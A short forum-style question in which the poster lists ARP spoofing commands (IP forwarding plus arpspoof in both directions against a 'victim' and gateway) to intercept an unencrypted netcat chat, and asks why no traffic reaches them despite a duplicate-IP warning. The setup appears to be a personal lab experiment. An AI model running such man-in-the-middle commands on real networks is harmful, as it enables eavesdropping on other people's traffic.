I'm using the following code:
>sudo bash >echo 1 > /proc/sys/net/ipv4/ip_forward >arpspoof -i wlan0 -t [Victim IP] [Gateway IP] #on terminal num.1 >arpspoof -i wlan0 -t [Gateway IP] [Victim IP] #on terminal num.2
And checking the traffic with WireShark, for some reason no information between the Victim and the Gateway is transferred to me, I'm using netcat chat and I want to intercept the chat between the "Victim" and his "friend" (another computer), the chat is not encrypted. I also get a "duplicate use of [Victim IP] detected!" error on WireShark from the Gateway that keeps repeating.
Any idea why its not working?
